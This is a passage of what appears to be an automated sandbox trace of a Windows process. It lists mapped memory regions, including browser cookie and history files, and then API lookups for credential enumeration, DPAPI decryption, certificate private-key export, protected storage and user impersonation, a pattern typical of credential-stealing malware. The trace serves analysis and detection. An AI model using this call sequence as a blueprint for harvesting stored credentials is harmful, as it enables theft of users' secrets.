"c:\\windows\\system32\\ieframe.dll") Region: id = 443 start_va = 0x77c70000 end_va = 0x77c74fff entry_point = 0x77c70000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 444 start_va = 0x73360000 end_va = 0x7339bfff entry_point = 0x73360000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 445 start_va = 0x510000 end_va = 0x510fff entry_point = 0x510000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 446 start_va = 0x520000 end_va = 0x521fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 447 start_va = 0x74eb0000 end_va = 0x7504dfff entry_point = 0x74eb0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 448 start_va = 0x5f0000 end_va = 0x5f0fff entry_point = 0x5f0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 449 start_va = 0x16d0000 end_va = 0x16d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016d0000" filename = "" Region: id = 450 start_va = 0x702a0000 end_va = 0x702cdfff entry_point = 0x702a0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 451 start_va = 0x5f0000 end_va = 0x5f7fff entry_point = 0x5f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 452 start_va = 0x16e0000 end_va = 0x170bfff entry_point = 0x16e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\EEBsYm5\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 453 start_va = 0x1710000 end_va = 0x171ffff entry_point = 0x1710000 region_type = mapped_file name = "index.dat" filename = "\\Users\\EEBsYm5\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 454 start_va = 0x1e00000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 455 start_va = 0x1f00000 end_va = 0x24a0fff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 456 start_va = 0x7ffdc000 end_va = 0x7ffdcfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdc000" filename = "" Region: id = 457 start_va = 0x24b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 458 start_va = 0x1720000 end_va = 0x1721fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001720000" filename = "" Region: id = 459 start_va = 0x74550000 end_va = 0x74570fff entry_point = 0x74550000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 460 start_va = 0x763a0000 end_va = 0x763e4fff entry_point = 0x763a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 461 start_va = 0x75820000 end_va = 0x75863fff entry_point = 0x75820000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 462 start_va = 0x1f00000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 463 start_va = 0x74130000 end_va = 0x7414bfff entry_point = 0x74130000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 464 start_va = 0x74120000 end_va = 0x74126fff entry_point = 0x74120000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 465 start_va = 0x75960000 end_va = 0x7599bfff entry_point = 0x75960000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 466 start_va = 0x1fa0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 467 start_va = 0x754b0000 end_va = 0x754b4fff entry_point = 0x754b0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 468 start_va = 0x74240000 end_va = 0x7424ffff entry_point = 0x74240000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 469 start_va = 0x2020000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 470 start_va = 0x2020000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 471 start_va = 0x2150000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 472 start_va = 0x748c0000 end_va = 0x748cffff entry_point = 0x748c0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 473 start_va = 0x74890000 end_va = 0x748a1fff entry_point = 0x74890000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 474 start_va = 0x74880000 end_va = 0x74887fff entry_point = 0x74880000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 475 start_va = 0x73fe0000 end_va = 0x74017fff entry_point = 0x73fe0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 476 start_va = 0x2160000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 477 start_va = 0x6f850000 end_va = 0x6f855fff entry_point = 0x6f850000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 478 start_va = 0x74e70000 end_va = 0x74e81fff entry_point = 0x74e70000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 479 start_va = 0x2160000 end_va = 0x225ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 480 start_va = 0x2280000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 481 start_va = 0x7ffdb000 end_va = 0x7ffdbfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 482 start_va = 0x74d70000 end_va = 0x74e64fff entry_point = 0x74d70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 483 start_va = 0x1730000 end_va = 0x1731fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001730000" filename = "" Region: id = 484 start_va = 0x1740000 end_va = 0x1743fff entry_point = 0x1740000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\EEBsYm5\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\eebsym5\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 485 start_va = 0x1750000 end_va = 0x176efff entry_point = 0x1750000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db" filename = "\\Users\\EEBsYm5\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001a.db" (normalized: "c:\\users\\eebsym5\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db") Region: id = 486 start_va = 0x1770000 end_va = 0x1770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001770000" filename = "" Region: id = 487 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 488 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 489 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 490 start_va = 0x1740000 end_va = 0x1743fff entry_point = 0x1740000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 491 start_va = 0x1890000 end_va = 0x18bffff entry_point = 0x1890000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000009.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000009.db") Region: id = 492 start_va = 0x18c0000 end_va = 0x18c3fff entry_point = 0x18c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 493 start_va = 0x2020000 end_va = 0x2085fff entry_point = 0x2020000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 494 start_va = 0x20b0000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 495 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 496 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 497 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 498 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 499 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 500 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 501 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 502 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 503 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 504 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 505 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 506 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 507 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 508 start_va = 0x23d0000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 509 start_va = 0x75f50000 end_va = 0x75f61fff entry_point = 0x75f50000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 510 start_va = 0x76170000 end_va = 0x76196fff entry_point = 0x76170000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 511 start_va = 0x77cd0000 end_va = 0x77e6cfff entry_point = 0x77cd0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 512 start_va = 0x7ffda000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffda000" filename = "" Region: id = 513 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 514 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 515 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 516 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 517 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 518 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 519 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 520 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 521 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 522 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 523 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 524 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 525 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 526 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 527 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 528 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 529 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 530 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 531 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 532 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 533 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 534 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 535 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 536 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 537 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 538 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 539 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 540 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 541 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 542 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 543 start_va = 0x22c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 544 start_va = 0x71f20000 end_va = 0x71f6bfff entry_point = 0x71f20000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 545 start_va = 0x6ffb0000 end_va = 0x6ffddfff entry_point = 0x6ffb0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 546 start_va = 0x18d0000 end_va = 0x18d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000018d0000" filename = "" Region: id = 547 start_va = 0x22c0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 548 start_va = 0x7ffd9000 end_va = 0x7ffd9fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd9000" filename = "" Region: id = 549 start_va = 0x24d0000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Thread: id = 3 os_tid = 0xa50 [0066.902] GetTickCount () returned 0x1fa45 [0066.902] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4105a2) returned 0x0 [0066.902] OleInitialize (pvReserved=0x0) returned 0x0 [0067.172] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x77970000 [0067.172] GetProcAddress (hModule=0x77970000, lpProcName="StgOpenStorage") returned 0x7798480e [0067.172] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x76050000 [0067.172] GetProcAddress (hModule=0x76050000, lpProcName="CryptUnprotectData") returned 0x76085a7f [0067.172] GetProcAddress (hModule=0x76050000, lpProcName="CertOpenSystemStoreA") returned 0x760a5ff0 [0067.172] GetProcAddress (hModule=0x76050000, lpProcName="CertEnumCertificatesInStore") returned 0x7605e33a [0067.172] GetProcAddress (hModule=0x76050000, lpProcName="CertCloseStore") returned 0x7605dd10 [0067.172] GetProcAddress (hModule=0x76050000, lpProcName="CryptAcquireCertificatePrivateKey") returned 0x760a5a3b [0067.172] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76700000 [0067.172] GetProcAddress (hModule=0x76700000, lpProcName="AllocateAndInitializeSid") returned 0x767140e6 [0067.172] GetProcAddress (hModule=0x76700000, lpProcName="CheckTokenMembership") returned 0x7670df04 [0067.172] GetProcAddress (hModule=0x76700000, lpProcName="FreeSid") returned 0x7671412e [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CredEnumerateA") returned 0x76747381 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CredFree") returned 0x7670b2ec [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CryptGetUserKey") returned 0x76743228 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CryptExportKey") returned 0x767091ea [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CryptDestroyKey") returned 0x7670c51a [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="CryptReleaseContext") returned 0x7670e124 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="RevertToSelf") returned 0x76711562 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="OpenProcessToken") returned 0x76714304 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="ImpersonateLoggedOnUser") returned 0x7670c57a [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="GetTokenInformation") returned 0x7671431c [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="ConvertSidToStringSidA") returned 0x7673192a [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="LogonUserA") returned 0x76742654 [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="LookupPrivilegeValueA") returned 0x7671404a [0067.173] GetProcAddress (hModule=0x76700000, lpProcName="AdjustTokenPrivileges") returned 0x7671418e [0067.173] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x767a0000 [0067.173] GetProcAddress (hModule=0x767a0000, lpProcName="SHGetFolderPathA") returned 0x768b7804 [0067.173] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x747b0000 [0067.428] GetProcAddress (hModule=0x747b0000, lpProcName="NetApiBufferFree") returned 0x747a13d2 [0067.428] GetProcAddress (hModule=0x747b0000, lpProcName="NetUserEnum") returned 0x747859cf [0067.468] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x761d0000 [0067.469] GetProcAddress (hModule=0x761d0000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x7620480b [0067.469] GetProcAddress (hModule=0x761d0000, lpProcName="ProcessIdToSessionId") returned 0x7621b744 [0067.469] LoadLibraryA (lpLibFileName="msi.dll") returned 0x6fa60000 [0067.694] GetProcAddress (hModule=0x6fa60000, lpProcName="MsiGetComponentPathA") returned 0x6fb1ecd5 [0067.695] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x72e90000 [0067.938] GetProcAddress (hModule=0x72e90000, lpProcName="PStoreCreateInstance") returned 0x72e9526c [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.939] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.940] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.941] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.942] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 0x1fb5e [0067.943] GetTickCount () returned 